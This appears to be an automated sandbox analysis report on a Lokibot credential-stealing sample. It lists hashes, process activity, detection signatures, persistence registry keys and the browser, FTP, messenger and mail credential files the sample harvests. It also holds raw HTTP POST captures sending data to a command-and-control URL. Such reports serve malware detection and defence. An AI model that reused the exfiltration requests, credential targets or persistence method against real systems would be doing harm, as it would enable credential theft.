8PPQTxuj

1
2* ID: 875
3* MalFamily: "Lokibot"
4
5* MalScore: 10.0
6
7* File Name: "Loki_53218df645651abc1fd66ad25e6e5b7e.1"
8* File Size: 933888
9* File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
10* SHA256: "b5c41c424f4ab9381877083a4cad0cfca4bff91994b3630ae1a179f0862689fd"
11* MD5: "53218df645651abc1fd66ad25e6e5b7e"
12* SHA1: "5fec40e80cc4b287e68af497ed577059b2bc0a32"
13* SHA512: "e5e42f9c73bbe373c7d066932a3ed4a9e1f6d0186cf6b03bad77b3dfa91ee1b2667076e12a2c9adc590123f72f81bddc060ff9fe528589c31e416d7b09664dab"
14* CRC32: "93BB5D79"
15* SSDEEP: "3072:3WynKrQ3vljF6lDZY3nf7IDTsQq1apZbQBQhNPvfqS2anFhDvfDkYhNv:bmQ3dF6ltcnfUPfq4pZbQB+SHUs"
16
17* Process Execution: 
18    "iLQY0PzcGVU.exe",
19    "wscript.exe",
20    "filename.exe",
21    "filename.exe",
22    "explorer.exe",
23    "services.exe",
24    "lsass.exe",
25    "WmiApSrv.exe",
26    "svchost.exe",
27    "svchost.exe",
28    "taskhost.exe",
29    "WmiPrvSE.exe"
30
31
32* Executed Commands: 
33    "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Users\\user\\subfolder\\filename.vbs\"",
34    "C:\\Users\\user\\subfolder\\filename.vbs ",
35    "\"C:\\Users\\user\\subfolder\\filename.exe\"",
36    "C:\\Users\\user\\subfolder\\filename.exe ",
37    "C:\\Windows\\system32\\lsass.exe",
38    "C:\\Windows\\system32\\wbem\\WmiApSrv.exe",
39    "C:\\Windows\\system32\\svchost.exe -k netsvcs"
40
41
42* Signatures Detected: 
43    
44        "Description": "Behavioural detection: Executable code extraction",
45        "Details": 
46    
47    
48        "Description": "SetUnhandledExceptionFilter detected (possible anti-debug)",
49        "Details": 
50    
51    
52        "Description": "Possible date expiration check, exits too soon after checking local time",
53        "Details": 
54            
55                "process": "iLQY0PzcGVU.exe, PID 2172"
56            
57        
58    
59    
60        "Description": "Guard pages use detected - possible anti-debugging.",
61        "Details": 
62    
63    
64        "Description": "Detected script timer window indicative of sleep style evasion",
65        "Details": 
66            
67                "Window": "WSH-Timer"
68            
69        
70    
71    
72        "Description": "Reads data out of its own binary image",
73        "Details": 
74            
75                "self_read": "process: iLQY0PzcGVU.exe, pid: 2172, offset: 0x00000000, length: 0x000e4000"
76            
77            
78                "self_read": "process: wscript.exe, pid: 2132, offset: 0x00000000, length: 0x00000040"
79            
80            
81                "self_read": "process: wscript.exe, pid: 2132, offset: 0x000000f0, length: 0x00000018"
82            
83            
84                "self_read": "process: wscript.exe, pid: 2132, offset: 0x000001e8, length: 0x00000078"
85            
86            
87                "self_read": "process: wscript.exe, pid: 2132, offset: 0x00018000, length: 0x00000020"
88            
89            
90                "self_read": "process: wscript.exe, pid: 2132, offset: 0x00018058, length: 0x00000018"
91            
92            
93                "self_read": "process: wscript.exe, pid: 2132, offset: 0x000181a8, length: 0x00000018"
94            
95            
96                "self_read": "process: wscript.exe, pid: 2132, offset: 0x00018470, length: 0x00000010"
97            
98            
99                "self_read": "process: wscript.exe, pid: 2132, offset: 0x00018640, length: 0x00000012"
100            
101        
102    
103    
104        "Description": "A process created a hidden window",
105        "Details": 
106            
107                "Process": "iLQY0PzcGVU.exe -> C:\\Users\\user\\subfolder\\filename.vbs"
108            
109            
110                "Process": "iLQY0PzcGVU.exe -> C:\\Users\\user\\subfolder\\filename.exe"
111            
112        
113    
114    
115        "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
116        "Details": 
117            
118                "post_no_referer": "HTTP traffic contains a POST request with no referer header"
119            
120            
121                "http_version_old": "HTTP traffic uses version 1.0"
122            
123            
124                "suspicious_request_iocs": "http://zjvvymy.com/jp101/five/fre.php"
125            
126        
127    
128    
129        "Description": "Performs some HTTP requests",
130        "Details": 
131            
132                "url_iocs": "http://zjvvymy.com/jp101/five/fre.php"
133            
134        
135    
136    
137        "Description": "A scripting utility was executed",
138        "Details": 
139            
140                "command": "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Users\\user\\subfolder\\filename.vbs\""
141            
142        
143    
144    
145        "Description": "Behavioural detection: Injection (Process Hollowing)",
146        "Details": 
147            
148                "Injection": "filename.exe(3060) -> filename.exe(1200)"
149            
150        
151    
152    
153        "Description": "Executed a process and injected code into it, probably while unpacking",
154        "Details": 
155            
156                "Injection": "filename.exe(3060) -> filename.exe(1200)"
157            
158        
159    
160    
161        "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
162        "Details": 
163            
164                "Spam": "services.exe (504) called API GetSystemTimeAsFileTime 13704012 times"
165            
166        
167    
168    
169        "Description": "Steals private information from local Internet browsers",
170        "Details": 
171            
172                "file": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
173            
174        
175    
176    
177        "Description": "Installs itself for autorun at Windows startup",
178        "Details": 
179            
180                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Registry Key Name"
181            
182            
183                "data": "C:\\Users\\user\\subfolder\\filename.vbs -Dirra"
184            
185        
186    
187    
188        "Description": "Stack pivoting was detected when using a critical API",
189        "Details": 
190            
191                "process": "svchost.exe:2184"
192            
193        
194    
195    
196        "Description": "Creates a hidden or system file",
197        "Details": 
198            
199                "file": "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.exe"
200            
201        
202    
203    
204        "Description": "File has been identified by 21 Antiviruses on VirusTotal as malicious",
205        "Details": 
206            
207                "MicroWorld-eScan": "Gen:Variant.Symmi.86341"
208            
209            
210                "FireEye": "Generic.mg.53218df645651abc"
211            
212            
213                "Malwarebytes": "Trojan.MalPack.VB.Generic"
214            
215            
216                "Cybereason": "malicious.645651"
217            
218            
219                "Arcabit": "Trojan.Symmi.D15145"
220            
221            
222                "Symantec": "ML.Attribute.HighConfidence"
223            
224            
225                "APEX": "Malicious"
226            
227            
228                "BitDefender": "Gen:Variant.Symmi.86341"
229            
230            
231                "Ad-Aware": "Gen:Variant.Symmi.86341"
232            
233            
234                "Sophos": "Mal/FareitVB-N"
235            
236            
237                "Invincea": "heuristic"
238            
239            
240                "Emsisoft": "Gen:Variant.Symmi.86341 (B)"
241            
242            
243                "Cyren": "W32/Wacatac.W.gen!Eldorado"
244            
245            
246                "Microsoft": "Trojan:Win32/Wacatac.B!ml"
247            
248            
249                "Endgame": "malicious (high confidence)"
250            
251            
252                "GData": "Gen:Variant.Symmi.86341"
253            
254            
255                "AhnLab-V3": "Trojan/Win32.Inject.R289841"
256            
257            
258                "ALYac": "Gen:Variant.Symmi.86341"
259            
260            
261                "MAX": "malware (ai score=82)"
262            
263            
264                "ESET-NOD32": "a variant of Win32/Injector.EHOJ"
265            
266            
267                "Fortinet": "W32/Injector.EHNM!tr"
268            
269        
270    
271    
272        "Description": "Creates a copy of itself",
273        "Details": 
274            
275                "copy": "C:\\Users\\user\\subfolder\\filename.exe"
276            
277            
278                "copy": "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.exe"
279            
280        
281    
282    
283        "Description": "Drops a binary and executes it",
284        "Details": 
285            
286                "binary": "C:\\Users\\user\\subfolder\\filename.exe"
287            
288        
289    
290    
291        "Description": "Harvests credentials from local FTP client softwares",
292        "Details": 
293            
294                "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\sitemanager.xml"
295            
296            
297                "file": "C:\\Users\\user\\AppData\\Roaming\\FileZilla\\recentservers.xml"
298            
299            
300                "file": "C:\\Users\\user\\AppData\\Roaming\\Far Manager\\Profile\\PluginsData\\42E4AEB1-A230-44F4-B33C-F195BB654931.db"
301            
302            
303                "file": "C:\\Program Files (x86)\\FTPGetter\\Profile\\servers.xml"
304            
305            
306                "file": "C:\\Users\\user\\AppData\\Roaming\\FTPGetter\\servers.xml"
307            
308            
309                "file": "C:\\Users\\user\\AppData\\Roaming\\Estsoft\\ALFTP\\ESTdb2.dat"
310            
311            
312                "key": "HKEY_CURRENT_USER\\Software\\Far\\Plugins\\FTP\\Hosts"
313            
314            
315                "key": "HKEY_CURRENT_USER\\Software\\Far2\\Plugins\\FTP\\Hosts"
316            
317            
318                "key": "HKEY_CURRENT_USER\\Software\\Ghisler\\Total Commander"
319            
320            
321                "key": "HKEY_CURRENT_USER\\Software\\LinasFTP\\Site Manager"
322            
323        
324    
325    
326        "Description": "Harvests information related to installed instant messenger clients",
327        "Details": 
328            
329                "file": "C:\\Users\\user\\AppData\\Roaming\\.purple\\accounts.xml"
330            
331        
332    
333    
334        "Description": "Harvests information related to installed mail clients",
335        "Details": 
336            
337                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook"
338            
339            
340                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046\\Email"
341            
342            
343                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046"
344            
345            
346                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9234ed9445f8fa418a542f350f18f326"
347            
348            
349                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8408552e6dae7d45a0ba01520b6221ff\\Email"
350            
351            
352                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9234ed9445f8fa418a542f350f18f326\\Email"
353            
354            
355                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001"
356            
357            
358                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002"
359            
360            
361                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001\\Email"
362            
363            
364                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\c02ebc5353d9cd11975200aa004ae40e\\Email"
365            
366            
367                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8f92b60606058348930a96946cf329e1\\Email"
368            
369            
370                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8408552e6dae7d45a0ba01520b6221ff"
371            
372            
373                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2"
374            
375            
376                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\240a97d961ed46428e29a3f1f1c23670"
377            
378            
379                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\b22783abb139fe46b0aad551d64b60e7\\Email"
380            
381            
382                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\c02ebc5353d9cd11975200aa004ae40e"
383            
384            
385                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2\\Email"
386            
387            
388                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\Email"
389            
390            
391                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a\\Email"
392            
393            
394                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001\\Email"
395            
396            
397                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
398            
399            
400                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\cb23f8734d88734ca66c47c4527fd259"
401            
402            
403                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001"
404            
405            
406                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook"
407            
408            
409                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\cb23f8734d88734ca66c47c4527fd259\\Email"
410            
411            
412                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook"
413            
414            
415                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\b22783abb139fe46b0aad551d64b60e7"
416            
417            
418                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\240a97d961ed46428e29a3f1f1c23670\\Email"
419            
420            
421                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604\\Email"
422            
423            
424                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000002\\Email"
425            
426            
427                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\13dbb0c8aa05101a9bb000aa002fc45a"
428            
429            
430                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046"
431            
432            
433                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604"
434            
435            
436                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8f92b60606058348930a96946cf329e1"
437            
438            
439                "key": "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046\\Email"
440            
441        
442    
443    
444        "Description": "Collects information to fingerprint the system",
445        "Details": 
446    
447    
448        "Description": "Created network traffic indicative of malicious activity",
449        "Details": 
450            
451                "signature": "ET TROJAN LokiBot User-Agent (Charon/Inferno)"
452            
453            
454                "signature": "ET TROJAN LokiBot Fake 404 Response"
455            
456            
457                "signature": "ET TROJAN LokiBot Checkin"
458            
459            
460                "signature": "ET TROJAN LokiBot Request for C2 Commands Detected M2"
461            
462            
463                "signature": "ET TROJAN LokiBot Request for C2 Commands Detected M1"
464            
465            
466                "signature": "ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1"
467            
468            
469                "signature": "ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2"
470            
471        
472    
473
474
475* Started Service: 
476    "VaultSvc",
477    "wmiApSrv"
478
479
480* Mutexes: 
481    "Local\\ZoneAttributeCacheCounterMutex",
482    "Local\\ZonesCacheCounterMutex",
483    "Local\\ZonesLockedCacheCounterMutex",
484    "6EFA73A4746045B65DEE781E",
485    "Global\\RefreshRA_Mutex_Lib",
486    "Global\\RefreshRA_Mutex",
487    "Global\\RefreshRA_Mutex_Flag",
488    "Global\\WmiApSrv"
489
490
491* Modified Files: 
492    "C:\\Users\\user\\subfolder\\filename.exe",
493    "C:\\Users\\user\\subfolder\\filename.vbs",
494    "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.lck",
495    "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.exe",
496    "C:\\Windows\\sysnative\\LogFiles\\Scm\\5869f1c1-01d7-41f7-84b7-715672259fa8",
497    "\\??\\WMIDataDevice",
498    "\\??\\PIPE\\samr",
499    "C:\\Windows\\sysnative\\wbem\\repository\\WRITABLE.TST",
500    "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING1.MAP",
501    "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING2.MAP",
502    "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING3.MAP",
503    "C:\\Windows\\sysnative\\wbem\\repository\\OBJECTS.DATA",
504    "C:\\Windows\\sysnative\\wbem\\repository\\INDEX.BTR",
505    "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
506    "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER"
507
508
509* Deleted Files: 
510    "C:\\Users\\user\\AppData\\Roaming\\474604\\45B65D.lck",
511    "C:\\Users\\user\\subfolder\\filename.exe"
512
513
514* Modified Registry Keys: 
515    "HKEY_CURRENT_USER\\Software\\VB and VBA Program Settings\\axhBo109\\bufEfgfSeEm77",
516    "HKEY_CURRENT_USER\\Software\\VB and VBA Program Settings\\axhBo109\\bufEfgfSeEm77\\pE7Ok6f832",
517    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet",
518    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect",
519    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\CEBFF5CD-ACE2-4F4F-9178-9926F41749EA\\Count\\1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7\\pzq.rkr",
520    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\CEBFF5CD-ACE2-4F4F-9178-9926F41749EA\\Count\\HRZR_PGYFRFFVBA",
521    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Registry Key Name",
522    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\wmiApSrv\\Type",
523    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Winmgmt\\Type",
524    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\PROVIDERS\\Performance\\Performance Refreshed",
525    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ProcessID",
526    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ThrottleDrege",
527    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Winmgmt\\Parameters\\ServiceDllUnloadOnStop",
528    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStart",
529    "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Wbem\\Transports\\Decoupled\\Server",
530    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\CreationTime",
531    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\MarshaledProxy",
532    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\ProcessIdentifier",
533    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ConfigValueEssNeedsLoading",
534    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\List of event-active namespaces",
535    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\ESS\\//./root/CIMV2\\SCM Event Provider"
536
537
538* Deleted Registry Keys: 
539    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
540    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
541    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
542    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName"
543
544
545* DNS Communications: 
546    
547        "type": "A",
548        "request": "zjvvymy.com",
549        "answers": 
550            
551                "data": "47.88.102.244",
552                "type": "A"
553            
554        
555    
556
557
558* Domains: 
559    
560        "ip": "47.88.102.244",
561        "domain": "zjvvymy.com"
562    
563
564
565* Network Communication - ICMP: 
566
567* Network Communication - HTTP: 
568    
569        "count": 2,
570        "body": "",
571        "uri": "http://zjvvymy.com/jp101/five/fre.php",
572        "user-agent": "Mozilla/4.08 (Charon; Inferno)",
573        "method": "POST",
574        "host": "zjvvymy.com",
575        "version": "1.0",
576        "path": "/jp101/five/fre.php",
577        "data": "POST /jp101/five/fre.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\r\nHost: zjvvymy.com\r\nAccept: */*\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nContent-Key: BFD4E154\r\nContent-Length: 176\r\nConnection: close\r\n\r\n",
578        "port": 80
579    
580    
581        "count": 1,
582        "body": "\\x12\\x00'\\x00\\x00\\x00\\x07\\x00\\x00\\x00ckav.ru\\x01\\x00\\x06\\x00\\x00\\x00s\\x00b\\x00u\\x00\\x01\\x00\\x10\\x00\\x00\\x00S\\x00B\\x00U\\x00W\\x007\\x00X\\x006\\x004\\x00\\x01\\x00\\x10\\x00\\x00\\x00S\\x00B\\x00U\\x00W\\x007\\x00X\\x006\\x004\\x00\\x80\\x07\\x00\\x00\\xc2\\x03\\x00\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x06\\x00\\x01\\x00\\x01\\x00\\xc6+\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x000\\x00\\x00\\x006\\x00E\\x00F\\x00A\\x007\\x003\\x00A\\x004\\x007\\x004\\x006\\x000\\x004\\x005\\x00B\\x006\\x005\\x00D\\x00E\\x00E\\x007\\x008\\x001\\x00E\\x00\\x05\\x00\\x00\\x00iUFTT\\x00\\x00\\x00\\x00",
583        "uri": "http://zjvvymy.com/jp101/five/fre.php",
584        "user-agent": "Mozilla/4.08 (Charon; Inferno)",
585        "method": "POST",
586        "host": "zjvvymy.com",
587        "version": "1.0",
588        "path": "/jp101/five/fre.php",
589        "data": "POST /jp101/five/fre.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\r\nHost: zjvvymy.com\r\nAccept: */*\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nContent-Key: BFD4E154\r\nContent-Length: 176\r\nConnection: close\r\n\r\n\\x12\\x00'\\x00\\x00\\x00\\x07\\x00\\x00\\x00ckav.ru\\x01\\x00\\x06\\x00\\x00\\x00s\\x00b\\x00u\\x00\\x01\\x00\\x10\\x00\\x00\\x00S\\x00B\\x00U\\x00W\\x007\\x00X\\x006\\x004\\x00\\x01\\x00\\x10\\x00\\x00\\x00S\\x00B\\x00U\\x00W\\x007\\x00X\\x006\\x004\\x00\\x80\\x07\\x00\\x00\\xc2\\x03\\x00\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x06\\x00\\x01\\x00\\x01\\x00\\xc6+\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x000\\x00\\x00\\x006\\x00E\\x00F\\x00A\\x007\\x003\\x00A\\x004\\x007\\x004\\x006\\x000\\x004\\x005\\x00B\\x006\\x005\\x00D\\x00E\\x00E\\x007\\x008\\x001\\x00E\\x00\\x05\\x00\\x00\\x00iUFTT\\x00\\x00\\x00\\x00",
590        "port": 80
591    
592    
593        "count": 32,
594        "body": "",
595        "uri": "http://zjvvymy.com/jp101/five/fre.php",
596        "user-agent": "Mozilla/4.08 (Charon; Inferno)",
597        "method": "POST",
598        "host": "zjvvymy.com",
599        "version": "1.0",
600        "path": "/jp101/five/fre.php",
601        "data": "POST /jp101/five/fre.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\r\nHost: zjvvymy.com\r\nAccept: */*\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nContent-Key: BFD4E154\r\nContent-Length: 149\r\nConnection: close\r\n\r\n",
602        "port": 80
603    
604
605
606* Network Communication - SMTP: 
607
608* Network Communication - Hosts: 
609    
610        "country_name": "United States",
611        "ip": "47.88.102.244",
612        "inaddrarpa": "",
613        "hostname": "zjvvymy.com"
614    
615
616
617* Network Communication - IRC: